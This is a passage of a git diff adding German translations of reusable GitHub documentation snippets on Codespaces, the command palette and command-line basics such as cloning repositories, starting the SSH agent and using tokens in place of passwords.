+1. Greife auf die {% data variables.product.prodname_vscode_command_palette_shortname %} zu (<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>P</kbd> (Mac)/<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>P</kbd> (Windows/Linux)), und beginne dann mit der Eingabe „rebuild“. Wähle **Codespaces: Container neu erstellen** aus.
+
+    ![Option „Container neu erstellen“](/assets/images/help/codespaces/codespaces-rebuild.png)
diff --git a/translations/de-DE/data/reusables/codespaces/rebuild-reason.md b/translations/de-DE/data/reusables/codespaces/rebuild-reason.md
new file mode 100644
index 0000000000..abaa416717
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/rebuild-reason.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ed86471e2bc025a2bc19423a7e5eb82d7a216c6f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147060994"
+---
+Durch das Neuerstellen innerhalb deines Codespace wird sichergestellt, dass die Änderungen wie erwartet funktionieren, bevor du einen Commit für die Änderungen im Repository ausführst. Wenn etwas zu einem Fehler führt, wirst du in einem Codespace mit einem Wiederherstellungscontainer platziert, den du neu erstellen kannst, um deinen Container weiter anzupassen.
diff --git a/translations/de-DE/data/reusables/codespaces/recovery-mode.md b/translations/de-DE/data/reusables/codespaces/recovery-mode.md
new file mode 100644
index 0000000000..e11c1debb9
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/recovery-mode.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 51f2a8b90eac3c008af34c9509011b1af204ee75
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103124"
+---
+Wenn Änderungen an der Konfiguration deines Entwicklungscontainers zu einem Containerfehler führen, wird der Codespace im Wiederherstellungsmodus ausgeführt, und es wird eine Fehlermeldung angezeigt.
diff --git a/translations/de-DE/data/reusables/codespaces/restrict-port-visibility.md b/translations/de-DE/data/reusables/codespaces/restrict-port-visibility.md
new file mode 100644
index 0000000000..e61bbfb0ea
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/restrict-port-visibility.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0c34cb218c397d3e754d2fe745be93ad7d2e9bf7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147061538"
+---
+Organisationsbesitzer können die Möglichkeit einschränken, weitergeleitete Ports öffentlich oder innerhalb der Organisation verfügbar zu machen. Weitere Informationen findest du unter [Einschränken der Sichtbarkeit weitergeleiteter Ports](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports).
diff --git a/translations/de-DE/data/reusables/codespaces/secret-precedence.md b/translations/de-DE/data/reusables/codespaces/secret-precedence.md
new file mode 100644
index 0000000000..30f61f9442
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/secret-precedence.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1537360ab43c24d0eb3de5fed89f16630a0690a4
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881956"
+---
+Wenn ein Geheimnis mit demselben Namen auf mehreren Ebenen vorhanden ist, erhält das Geheimnis auf der niedrigsten Ebene Vorrang. Wenn beispielsweise ein Geheimnis auf Organisationsebene denselben Namen wie ein Geheimnis auf Repositoryebene aufweist, erhält das Geheimnis auf Repositoryebene Vorrang.
diff --git a/translations/de-DE/data/reusables/codespaces/secrets-naming.md b/translations/de-DE/data/reusables/codespaces/secrets-naming.md
new file mode 100644
index 0000000000..0fe023ed7d
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/secrets-naming.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 817ada6565cff5ef91aae6e6b7306b520bf55d84
+ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147887230"
+---
+Für Geheimnisnamen gelten folgende Regeln:
+
+* Geheimnisnamen dürfen nur alphanumerische Zeichen (`[a-z]`, `[A-Z]`, `[0-9]`) oder Unterstriche (`_`) enthalten. Leerzeichen sind nicht zulässig.
+* Geheimnisnamen dürfen nicht mit dem Präfix `GITHUB_` beginnen.
+* Geheimnisnamen dürfen nicht mit einer Ziffer beginnen.
+* Bei Geheimnisnamen wird nicht zwischen Groß- und Kleinschreibung unterschieden.
+* Geheimnisnamen müssen auf der Ebene eindeutig sein, auf der sie erstellt werden.
diff --git a/translations/de-DE/data/reusables/codespaces/secrets-on-start.md b/translations/de-DE/data/reusables/codespaces/secrets-on-start.md
new file mode 100644
index 0000000000..d3578c73e6
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/secrets-on-start.md
@@ -0,0 +1 @@
+Once you have created a secret, it will be available when you create a new codespace or restart the codespace. To use a secret that you've just created in a current codespace, you will need to stop the codespace and resume it. For information about stopping the codespace, see "[Using the {% data variables.product.prodname_vscode_command_palette %} in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)."
diff --git a/translations/de-DE/data/reusables/codespaces/setup-custom-devcontainer.md b/translations/de-DE/data/reusables/codespaces/setup-custom-devcontainer.md
new file mode 100644
index 0000000000..a4f52effba
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/setup-custom-devcontainer.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8fce179b1aa62f79737c46329d11f3e375dc375c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147060296"
+---
+Wenn du dein Repository so einrichten möchtest, dass ein benutzerdefinierter Entwicklungscontainer verwendet wird, musst du eine oder mehrere `devcontainer.json`-Datei(en) erstellen. Du kannst diese entweder aus einer Vorlage in {% data variables.product.prodname_vscode %} hinzufügen oder selbst schreiben. Weitere Informationen zur Konfiguration von Entwicklungscontainern findest du unter [Einführung in Entwicklungscontainer](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project).
diff --git a/translations/de-DE/data/reusables/codespaces/sidebar-secret.md b/translations/de-DE/data/reusables/codespaces/sidebar-secret.md
new file mode 100644
index 0000000000..a5894c3aee
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/sidebar-secret.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fec39fa3873e316108a9782b2ca80c1e92ff7902
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148008163"
+---
+1. Klicke im Abschnitt „Sicherheit“ der Seitenleiste auf **{% octicon "key-asterisk" aria-label="The key-asterisk icon" %} Geheimnisse** und dann auf **{% data variables.product.prodname_codespaces %}** .
diff --git a/translations/de-DE/data/reusables/codespaces/source-control-commit-changes.md b/translations/de-DE/data/reusables/codespaces/source-control-commit-changes.md
new file mode 100644
index 0000000000..1a532f1ecf
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/source-control-commit-changes.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 8cb17c6661826a0d46c37436b05b9f694541dab1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133678"
+---
+{% data reusables.codespaces.source-control-display-dark %}
+1. Klicke zum Stagen deiner Änderungen auf **+** neben der Datei, die du geändert hast, oder neben **Änderungen**, wenn du mehrere Dateien geändert hast und diese alle stagen möchtest.
+![Randleiste der Quellcodeverwaltung mit hervorgehobener Stagingschaltfläche](/assets/images/help/codespaces/codespaces-commit-stage.png)
+1. Gib eine Commitnachricht ein, die die von dir vorgenommene Änderung beschreibt.
+![Seitenleiste der Quellcodeverwaltung mit einer Commitnachricht](/assets/images/help/codespaces/codespaces-commit-commit-message.png)  
+1. Klicke oben auf der Seitenleiste der Quellcodeverwaltung auf das Häkchen, um deine gestageten Änderungen zu übernehmen.
+![Klicken auf das Häkchensymbol](/assets/images/help/codespaces/codespaces-commit-checkmark-icon.png) 
diff --git a/translations/de-DE/data/reusables/codespaces/source-control-display-dark.md b/translations/de-DE/data/reusables/codespaces/source-control-display-dark.md
new file mode 100644
index 0000000000..7532c89793
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/source-control-display-dark.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 209b6403b311949f0bdf620b2a7f352d77004bb2
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133673"
+---
+1. Klicke in der Aktivitätsleiste auf die Ansicht **Quellcodeverwaltung**.
+![Ansicht „Quellcodeverwaltung“](/assets/images/help/codespaces/source-control-activity-bar-button.png)
diff --git a/translations/de-DE/data/reusables/codespaces/source-control-display.md b/translations/de-DE/data/reusables/codespaces/source-control-display.md
new file mode 100644
index 0000000000..f33cdd00d4
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/source-control-display.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 71e2ec3467da38d33b5932466721c22465a05a43
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133670"
+---
+1. Klicke in der Aktivitätsleiste auf die Ansicht **Quellcodeverwaltung**.
+
+  ![Ansicht „Quellcodeverwaltung“](/assets/images/help/codespaces/codespaces-commit-activity.png)
diff --git a/translations/de-DE/data/reusables/codespaces/source-control-pull-request.md b/translations/de-DE/data/reusables/codespaces/source-control-pull-request.md
new file mode 100644
index 0000000000..affe5ba04f
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/source-control-pull-request.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 32ab6120ced32f068eda9d9b9b1823352685f4ed
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133669"
+---
+1. Nachdem du Änderungen an deiner lokalen Kopie des Repositorys vorgenommen hast, klicke auf das Symbol **Pull Request erstellen**. 
+![Randleiste der Quellcodeverwaltung mit hervorgehobener Stagingschaltfläche](/assets/images/help/codespaces/codespaces-commit-pr-button.png)  
+1. Überprüfe, ob der lokale Branch und das Repository, von wo aus du mergst, und der Remote-Branch und das Repository, wohin du mergst, richtig sind. Gib dem Pull Request dann einen Titel und eine Beschreibung. 
+![Randleiste der Quellcodeverwaltung mit hervorgehobener Stagingschaltfläche](/assets/images/help/codespaces/codespaces-commit-pr.png)
+1. Klicken Sie auf **Erstellen**.
diff --git a/translations/de-DE/data/reusables/codespaces/stopping-a-codespace.md b/translations/de-DE/data/reusables/codespaces/stopping-a-codespace.md
new file mode 100644
index 0000000000..0d5fff33d4
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/stopping-a-codespace.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 5431cd0a877d3a87e4dd22fc3503bb9f67058b76
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109190"
+---
+Codespaces können jederzeit beendet werden. Wenn du einen Codespace beendest, werden alle ausgeführten Prozesse beendet, und der Terminalverlauf wird gelöscht. Alle gespeicherten Änderungen in deinem Codespace sind weiterhin verfügbar, wenn du den Codespace beim nächsten Mal startest. Wenn du einen Codespace nicht explizit beendest, wird er weiterhin ausgeführt, bis aufgrund von Inaktivität ein Timeout auftritt. Weitere Informationen findest du unter [Timeouts bei Codespaces](/codespaces/developing-in-codespaces/codespaces-lifecycle#codespaces-timeouts).
+
+CPU-Gebühren fallen nur bei ausgeführten Codespaces an. Bei beendeten Codespaces werden lediglich Speicherkosten in Rechnung gestellt.
+
+Es kann sinnvoll sein, einen Codespace zu beenden und neu zu starten, um Änderungen anzuwenden. Wenn du z. B. den für deinen Codespace verwendeten Computertyp änderst, musst du den Codespace beenden und neu starten, damit die Änderungen wirksam werden. Du kannst deinen Codespace auch beenden und ihn neu starten oder löschen, wenn ein Fehler oder ein unerwartetes Verhalten auftritt.
diff --git a/translations/de-DE/data/reusables/codespaces/type-port-label.md b/translations/de-DE/data/reusables/codespaces/type-port-label.md
new file mode 100644
index 0000000000..981c50adb0
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/type-port-label.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 1d84f8866b2cf274ee6eb8e5c80fb7599bd1b976
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133666"
+---
+1. Gib eine Bezeichnung für deinen Port ein, und drücke dann die EINGABETASTE.
+  ![Textfeld zum Eingeben der Portbezeichnung](/assets/images/help/codespaces/label-text-box.png)
diff --git a/translations/de-DE/data/reusables/codespaces/use-chrome.md b/translations/de-DE/data/reusables/codespaces/use-chrome.md
new file mode 100644
index 0000000000..6f841fb0a5
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/use-chrome.md
@@ -0,0 +1,2 @@
+
+For the best experience with {% data variables.product.prodname_github_codespaces %}, we recommend using a Chromium-based browser, like Google Chrome or Microsoft Edge.
diff --git a/translations/de-DE/data/reusables/codespaces/use-visual-studio-features.md b/translations/de-DE/data/reusables/codespaces/use-visual-studio-features.md
new file mode 100644
index 0000000000..2b05e43837
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/use-visual-studio-features.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 53dca57b79476eae7e6a97449866a3965675b0be
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145148728"
+---
+Während der Entwicklung in einem Codespace mit {% data variables.product.prodname_vscode_shortname %} kannst du Code bearbeiten, debuggen und Git-Befehle verwenden. Weitere Informationen findest du in der [{% data variables.product.prodname_vscode_shortname %} documentation](https://code.visualstudio.com/docs).
diff --git a/translations/de-DE/data/reusables/codespaces/using-codespaces-in-vscode.md b/translations/de-DE/data/reusables/codespaces/using-codespaces-in-vscode.md
new file mode 100644
index 0000000000..7e2bb52f1e
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/using-codespaces-in-vscode.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 93ed5f6170cc81999a5389dbc94453ac93023db1
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109185"
+---
+Damit du {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode_shortname %} verwenden kannst, musst du die {% data variables.product.prodname_codespaces %}-Erweiterung installieren.
diff --git a/translations/de-DE/data/reusables/codespaces/ways-to-create-a-codespace.md b/translations/de-DE/data/reusables/codespaces/ways-to-create-a-codespace.md
new file mode 100644
index 0000000000..446376924c
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/ways-to-create-a-codespace.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e08e6c2bc7cb78f9fbbc7e5324387aa961365d20
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: "148159669"
+---
+Du kannst einen Codespace auf {% data variables.product.prodname_dotcom_the_website %}, in {% data variables.product.prodname_vscode %} oder mit der {% data variables.product.prodname_cli %} erstellen.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/codespaces/you-can-see-all-your-codespaces.md b/translations/de-DE/data/reusables/codespaces/you-can-see-all-your-codespaces.md
new file mode 100644
index 0000000000..c0c3fce506
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/you-can-see-all-your-codespaces.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 382a130f43a11323c29a0af289976411c7609fe0
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877081"
+---
+Du kannst alle verfügbaren Codespaces anzeigen, die du unter [github.com/codespaces](https://github.com/codespaces) erstellt hast.
diff --git a/translations/de-DE/data/reusables/codespaces/your-codespaces-procedure-step.md b/translations/de-DE/data/reusables/codespaces/your-codespaces-procedure-step.md
new file mode 100644
index 0000000000..d5aa2b3077
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/your-codespaces-procedure-step.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e7e3c99d5666152f58d5ffb73a6b7ddad22fb18b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109182"
+---
+1. Navigiere zur Seite „Deine Codespaces“ unter [github.com/codespaces](https://github.com/codespaces).
diff --git a/translations/de-DE/data/reusables/command-palette/beta-note.md b/translations/de-DE/data/reusables/command-palette/beta-note.md
new file mode 100644
index 0000000000..ec11fb666a
--- /dev/null
+++ b/translations/de-DE/data/reusables/command-palette/beta-note.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 6e619bd77bbfe12016b95d727281946c7c86f279
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133649"
+---
+{% note %}
+
+**Hinweis**: Die {% data variables.product.prodname_command_palette %} liegt derzeit als öffentliche Betaversion vor und kann noch geändert werden.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/command-palette/change-scope.md b/translations/de-DE/data/reusables/command-palette/change-scope.md
new file mode 100644
index 0000000000..4f6822ed61
--- /dev/null
+++ b/translations/de-DE/data/reusables/command-palette/change-scope.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 68dc501963fdcecc7d42f2eac31da442a7ba746f
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147888106"
+---
+1. Optional kannst du den Bereich für Vorschläge einschränken, erweitern oder vollständig ändern, indem du den Pfad im Textfeld der Befehlspalette bearbeitest.
+
+   - Wenn du den Bereich innerhalb eines Benutzer- oder Organisationskontos einschränken möchtest, markiere ein Repository, und drücke dann <kbd>TAB</kbd>, um es dem Bereich hinzuzufügen.
+   - Wenn du den Bereich erweitern möchtest, hebe ein Element im Bereich hervor, und entferne es mithilfe der <kbd>Rücktaste</kbd> oder der Taste <kbd>Löschen</kbd>.
+   - Um den Bereich und das Textfeld zu löschen, klicke auf **Löschen**, oder verwende <kbd>Strg</kbd>-<kbd>Rücktaste</kbd> (Windows und Linux) bzw. <kbd>⌘</kbd><kbd>Rücktaste</kbd> (Mac).
diff --git a/translations/de-DE/data/reusables/command-palette/open-palette.md b/translations/de-DE/data/reusables/command-palette/open-palette.md
new file mode 100644
index 0000000000..8e902e3334
--- /dev/null
+++ b/translations/de-DE/data/reusables/command-palette/open-palette.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d26603770646f394dab5731f92411b8849b6c2e9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133633"
+---
+1. Verwende <kbd>STRG</kbd>+<kbd>K</kbd> (Windows/Linux) oder <kbd>BEFEHL</kbd>+<kbd>K</kbd> (Mac), um die Befehlspalette mit einem Umfang zu öffnen, der von deiner aktuellen Position auf der Benutzeroberfläche bestimmt wird. 
diff --git a/translations/de-DE/data/reusables/command_line/change-current-directory-clone.md b/translations/de-DE/data/reusables/command_line/change-current-directory-clone.md
new file mode 100644
index 0000000000..a2ade060af
--- /dev/null
+++ b/translations/de-DE/data/reusables/command_line/change-current-directory-clone.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 67dbd7fd3e1d0c8764577d0940f1d1714bcb3ad4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133630"
+---
+4. Ändere das aktuelle Arbeitsverzeichnis zum Speicherort, in dem Du das geklonte Verzeichnis haben willst.
diff --git a/translations/de-DE/data/reusables/command_line/git-clone-url.md b/translations/de-DE/data/reusables/command_line/git-clone-url.md
new file mode 100644
index 0000000000..db4b84ddae
--- /dev/null
+++ b/translations/de-DE/data/reusables/command_line/git-clone-url.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: c21e2539168ae8faf21e22a39eb0b3c0ec88267a
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882955"
+---
+5. Gib `git clone` ein, und füge dann die zuvor kopierte URL ein.
+  ```shell
+  $ git clone https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/<em>YOUR-REPOSITORY</em>
+  ```
diff --git a/translations/de-DE/data/reusables/command_line/local-clone-created.md b/translations/de-DE/data/reusables/command_line/local-clone-created.md
new file mode 100644
index 0000000000..0a10411864
--- /dev/null
+++ b/translations/de-DE/data/reusables/command_line/local-clone-created.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 88a69a366831804ab19144c1bff77a3fe53349b2
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133625"
+---
+6. Drücke die **EINGABETASTE**, um den lokalen Klon zu erstellen.
+  ```shell
+  $ git clone https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/<em>YOUR-REPOSITORY</em>
+  > Cloning into `Spoon-Knife`...
+  > remote: Counting objects: 10, done.
+  > remote: Compressing objects: 100% (8/8), done.
+  > remove: Total 10 (delta 1), reused 10 (delta 1)
+  > Unpacking objects: 100% (10/10), done.
+  ```
diff --git a/translations/de-DE/data/reusables/command_line/manipulating_file_prereqs.md b/translations/de-DE/data/reusables/command_line/manipulating_file_prereqs.md
new file mode 100644
index 0000000000..f7e214362a
--- /dev/null
+++ b/translations/de-DE/data/reusables/command_line/manipulating_file_prereqs.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 1ae27a9ea22c26a4ede654742113dc596be54161
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133622"
+---
+Bei dieser Prozedur wird vorausgesetzt, dass Du Folgendes bereits erledigt hast:
+
+  - [Du hast ein Repository für {% data variables.product.product_name %} erstellt](/articles/creating-a-new-repository) oder möchten zu einem vorhandenen Repository beitragen, das einer anderen Person gehört.
+  - [Du hast das Repository lokal auf deinen Computer geklont.](/articles/cloning-a-repository)
diff --git a/translations/de-DE/data/reusables/command_line/open_the_multi_os_terminal.md b/translations/de-DE/data/reusables/command_line/open_the_multi_os_terminal.md
new file mode 100644
index 0000000000..caa3f23b1e
--- /dev/null
+++ b/translations/de-DE/data/reusables/command_line/open_the_multi_os_terminal.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cdcceca318cc5196276525e07315564143c832f6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133621"
+---
+1. Öffne <span class="platform-mac">Terminal</span><span class="platform-linux">Terminal</span><span class="platform-windows">Git Bash</span>.
diff --git a/translations/de-DE/data/reusables/command_line/provide-an-access-token.md b/translations/de-DE/data/reusables/command_line/provide-an-access-token.md
new file mode 100644
index 0000000000..f2a89e69b4
--- /dev/null
+++ b/translations/de-DE/data/reusables/command_line/provide-an-access-token.md
@@ -0,0 +1 @@
+{% ifversion fpt or ghec %}If you are accessing an organization that uses SAML SSO{% ifversion pat-v2%} and you are using a {% data variables.product.pat_v1 %}{% endif %}, you must also authorize your {% data variables.product.pat_generic %} to access the organization before you authenticate. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)" and "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)."{% endif %}
diff --git a/translations/de-DE/data/reusables/command_line/providing-token-as-password.md b/translations/de-DE/data/reusables/command_line/providing-token-as-password.md
new file mode 100644
index 0000000000..010cd78ab1
--- /dev/null
+++ b/translations/de-DE/data/reusables/command_line/providing-token-as-password.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 680371419da47612c4035e166640fa3102ba0cda
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133614"
+---
+Sobald Du über ein Token verfügst, kannst Du es anstelle Deines Passworts eingeben, wenn Du Git-Vorgänge über HTTPS durchführst.
+
+So würdest Du beispielsweise Folgendes an der Befehlszeile eingeben:
+
+```shell
+$ git clone https://{% data variables.command_line.codeblock %}/<em>username</em>/<em>repo</em>.git
+Username: <em>your_username</em>
+Password: <em>your_token</em>
+```
diff --git a/translations/de-DE/data/reusables/command_line/start_ssh_agent.md b/translations/de-DE/data/reusables/command_line/start_ssh_agent.md
new file mode 100644
index 0000000000..95806c8298
--- /dev/null
+++ b/translations/de-DE/data/reusables/command_line/start_ssh_agent.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: a7d12084e7faee6e6b5f6aaec970a9f7a7fc1f17
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133609"
+---
+1. Starte den SSH-Agenten im Hintergrund. 
+
+    ```shell
+    $ eval "$(ssh-agent -s)"
+    > Agent pid 59566
+    ```
+
+    Je nach Umgebung musst du möglicherweise einen anderen Befehl verwenden. So musst du möglicherweise z. B. root-Zugriff verwenden, indem du vor dem Starten des SSH-Agent `sudo -s -H` ausführst, oder du musst zum Ausführen des SSH-Agent `exec ssh-agent bash` oder `exec ssh-agent zsh` verwenden.
diff --git a/translations/de-DE/data/reusables/command_line/switching_directories_procedural.md b/translations/de-DE/data/reusables/command_line/switching_directories_procedural.md
new file mode 100644
index 0000000000..b2614e3955
--- /dev/null
+++ b/translations/de-DE/data/reusables/command_line/switching_directories_procedural.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 81ce286ce421bc8f268bb825e02e45f37c711e13
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882947"
+---
+1. Ändere das aktuelle Arbeitsverzeichnis in Dein lokales Repository.
diff --git a/translations/de-DE/data/reusables/command_line/use_with_support_only.md b/translations/de-DE/data/reusables/command_line/use_with_support_only.md
new file mode 100644
index 0000000000..dd33697256
--- /dev/null
+++ b/translations/de-DE/data/reusables/command_line/use_with_support_only.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1952a9dd0156924855c2480e0b8a1ac120e85fca
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133597"
+---
+Verwende diesen Befehl **nicht** ohne Anweisung vom [{% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/). Eine falsche Verwendung kann zu Schäden oder Datenverlust führen.
diff --git a/translations/de-DE/data/reusables/commits/about-commits.md b/translations/de-DE/data/reusables/commits/about-commits.md
new file mode 100644
index 0000000000..60dd03d045
--- /dev/null
+++ b/translations/de-DE/data/reusables/commits/about-commits.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 289b700ed1759f3db4820143e9ab01f20f0c5938
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
